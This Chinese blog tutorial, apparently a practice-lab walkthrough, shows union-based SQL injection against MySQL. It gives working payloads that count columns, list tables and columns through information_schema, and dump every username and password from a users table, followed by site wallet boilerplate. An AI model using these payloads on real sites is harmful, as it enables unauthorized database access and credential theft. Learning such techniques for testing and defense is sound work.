基于报错的sql注入

MYSQL中默认有个information schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、 columns(列名或字段名)。
schemata:schema_ name字段用来存储数据库名。
tables:table_ schema和table_ name分别用来存储数据库名和表名。
columns:table_schema(数据库名)、table_name(表名)、column_name(字段名)
1、发现SQL注入
在这里插入图片描述
根据报错信息'1'' LIMIT 0,1分析SQL查询语句为select … from …where id=‘input’
2、利用order by判断当前表的字段数
操作:提交id=1’ order by n --+参数,直到出现下列报错信息,则说明当前表的列数为n-1
在这里插入图片描述
3、利用语句0' union select 1,2,3 --+发现哪一列数值可以在页面回显
在这里插入图片描述

4、利用0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+将当前数据库的表都打印出来
其中group_concat(table_name separator ';')将表名一行打印出来,分号隔开
在这里插入图片描述
5、接下来挖取users表的信息,利用0' union select 1,group_concat(column_name separator ';'),3 from information_schema.columns where table_name='users' --+联合查询users表中的所有字段名,分号隔开
在这里插入图片描述

6、查询users表中的用户名和密码
0' union select 1,group_concat(username,0x3a,password),3 from users --+用户名:密码
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值